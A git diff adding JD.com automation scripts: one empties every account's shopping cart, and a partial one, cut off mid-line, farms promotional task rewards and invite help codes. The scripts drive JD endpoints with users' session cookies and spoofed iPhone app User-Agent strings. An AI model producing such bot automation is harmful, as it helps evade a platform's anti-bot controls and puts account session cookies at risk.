r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cleancart.js b/backUp/jd_cleancart.js new file mode 100644 index 0000000..5c01f62 --- /dev/null +++ b/backUp/jd_cleancart.js @@ -0,0 +1,245 @@ +/* + +#清空购物车 +0 0 1 5 * jd_cleancart.js, tag=清空购物车, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + + */ +const $ = new Env('清空购物车'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMessage = '', users = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + users = process.env.CleanUsers ? process.env.CleanUsers : ''; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】清空购物车失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + console.log("将需要跳过清理的账号(cookie中的pt_pin)放到变量CleanUsers中,多个用@隔开\n") + console.log("❗️❗️❗️❗️本脚本会清理购物车所有商品❗️❗️❗️❗️\n") + console.log("脚本十秒后开始清理\n") + await sleep(10 * 1000) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.User = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + $.UserName = decodeURIComponent($.User) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } else if (users.indexOf($.User) > -1) { + console.log(`❗️❗️账号在变量中,跳过此账号\n`); + continue + } + allMessage += `京东账号${$.index} - ${$.nickName}\n`; + await getCarts(); + allMessage += `购物车商品数:${$.cartsTotalNum}\n`; + if ($.cartsTotalNum > 0) { + for (let i = 0; i < 3; i++) { + await unsubscribeCartsFun(); + await getCarts(); + if ($.cartsTotalNum == 0) { break } + await sleep(3000) + } + if ($.cartsTotalNum > 0) { + allMessage += `清空结果:❌\n`; + } else { + allMessage += `清空结果:✅\n`; + } + } + allMessage += '\n' + } + } + if (allMessage) { + allMessage = allMessage.substring(0, allMessage.length - 1) + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +function unsubscribeCartsFun() { + return new Promise(resolve => { + + const options = { + "url": `https://wq.jd.com/deal/mshopcart/rmvCmdy?sceneval=2&g_login_type=1&g_ty=ajax`, + "body": `pingouchannel=0&commlist=${$.commlist}&type=0&checked=0&locationid=${$.areaId}&templete=1®=1&scene=0&version=20190418&traceid=${$.traceId}&tabMenuType=1&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://p.m.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data['errId'] == '0') { console.log('清空购物车成功') } + } catch (e) { + console.log('清空购物车出错') + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function getStr(text, start, end) { + + var str = text; + var aPos = str.indexOf(start); + if (aPos < 0) { return null } + var bPos = str.indexOf(end, aPos + start.length); + if (bPos < 0) { return null } + var retstr = str.substr(aPos + start.length, text.length - (aPos + start.length) - (text.length - bPos)); + return retstr; + +} +function getCarts() { + $.shopsTotalNum = 0; + return new Promise((resolve) => { + const option = { + url: `https://p.m.jd.com/cart/cart.action`, + headers: { + "Host": "p.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + + data = JSON.parse(getStr(data, 'window.cartData =', 'window._PFM_TIMING')); + $.cartsTotalNum = 0; + if (data.errId === '0') { + $.traceId = data['traceId'] + $.areaId = data['areaId'] + let itemId, sKuId, index, temp + $.commlist = '' + for (let i = 0; i < data['cart']['venderCart'].length; i++) { + const vender = data['cart']['venderCart'][i]; + for (let s = 0; s < vender['sortedItems'].length; s++) { + const sorted = vender['sortedItems'][s]; + itemId = sorted['itemId'] + for (let m = 0; m < sorted['polyItem']['products'].length; m++) { + const products = sorted['polyItem']['products'][m]; + if (itemId == products['mainSku']['id']) { + sKuId = '' + index = '1' + } else { + sKuId = itemId + index = sorted['polyType'] == '4' ? '13' : '11' + } + temp = [products['mainSku']['id'], , '1', products['mainSku']['id'], index, sKuId, '0', 'skuUuid:' + products['skuUuid'] + '@@useUuid:' + products['useUuid']].join(',') + if ($.commlist.length > 0) { + $.commlist += '$' + } + $.commlist += temp + $.cartsTotalNum += 1 + } + } + } + if ($.commlist.length > 0) { + $.commlist = encodeURIComponent($.commlist) + } + console.log(`当前购物车商品数:${$.cartsTotalNum}个\n`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/backUp/jd_ddwj.js b/backUp/jd_ddwj.js new file mode 100644 index 0000000..90b7a6f --- /dev/null +++ b/backUp/jd_ddwj.js @@ -0,0 +1,530 @@ +/* +tgchannel:https://t.me/Ariszy8028 +github:https://github.com/Ariszy/Private-Script +boxjs:https://raw.githubusercontent.com/Ariszy/Private-Script/master/Ariszy.boxjs.json +[task_local] +#东东玩家 +20 0 * * * https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js, tag= 东东玩家 +================Loon============== +[Script] +cron "20 0 * * *" script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js,tag= 东东玩家 +===============Surge================= +东东玩家 = type=cron,cronexp="20 0 * * *",wake-system=1,timeout=3600,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js +============小火箭========= +东东玩家 = type=cron,script-path= https://raw.githubusercontent.com/Ariszy/Private-Script/master/JD/zy_ddwj.js, cronexpr="20 0 * * *", timeout=3600, enable=true +*/ +const $ = new Env('东东玩家') +const notify = $.isNode() ?require('./sendNotify') : ''; +cookiesArr = [] +CodeArr = [] +cookie = '' +var list2tokenArr = [],list4tokenArr = [],list6tokenArr = [],list5tokenArr = [],list4tokenArr = [],list3tokenArr = [],list1tokenArr = [],list2tokenArr = [],listtokenArr = [],list0tokenArr = [],list1tokenArr = [] +var taskid,token,helpcode,secretp,userUnlockedPlaceNum; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 +const invite=1;//新用户自动邀请,0关闭,1默认开启 +const logs =0;//0为关闭日志,1为开启 +var hour='' +var minute='' +if ($.isNode()) { + hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); + minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); +}else{ + hour = (new Date()).getHours(); + minute = (new Date()).getMinutes(); +} +//CK运行 +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i =0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + message = '' + $.isLogin = true; + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await gethelpcode() + await getlist() + await getsecretp() + await getfeedtoken() + await Ariszy() + await zy() + //await userScore() + } +for(let i = 0; i < cookiesArr.length; i++){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + message = '' + $.isLogin = true; + $.index = i + 1; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}助力模块*********\n`); + await getsecretp() + await control() + await userScore() +} + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +function PostRequest(uri,body) { + const url = `https://api.m.jd.com/client.action?${uri}`; + const method = `POST`; + const headers = {"Accept": "application/json", +"Accept-Encoding": "gzip, deflate, br", +"Accept-Language": "zh-cn", +"Connection": "keep-alive", +"Content-Type": "application/x-www-form-urlencoded", +"Origin": "https://h5.m.jd.com", +"Cookie": cookie, +"Host": "api.m.jd.com", +"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" +} + return {url: url, method: method, headers: headers, body: body}; +} + +async function doTask(){ + const body = `functionId=funny_collectScore&body=%7B%22taskId%22%3A${taskid}%2C%22taskToken%22%3A%22${token}%22%2C%22ss%22%3A%22%7B%5C%22extraData%5C%22%3A%7B%5C%22log%5C%22%3A%5C%22%5C%22%2C%5C%22sceneid%5C%22%3A%5C%22HWJhPageh5%5C%22%7D%2C%5C%22secretp%5C%22%3A%5C%22${secretp}%5C%22%2C%5C%22random%5C%22%3A%5C%2243136926%5C%22%7D%22%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0&uuid=0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849&appid=o2_act` + const MyRequest = 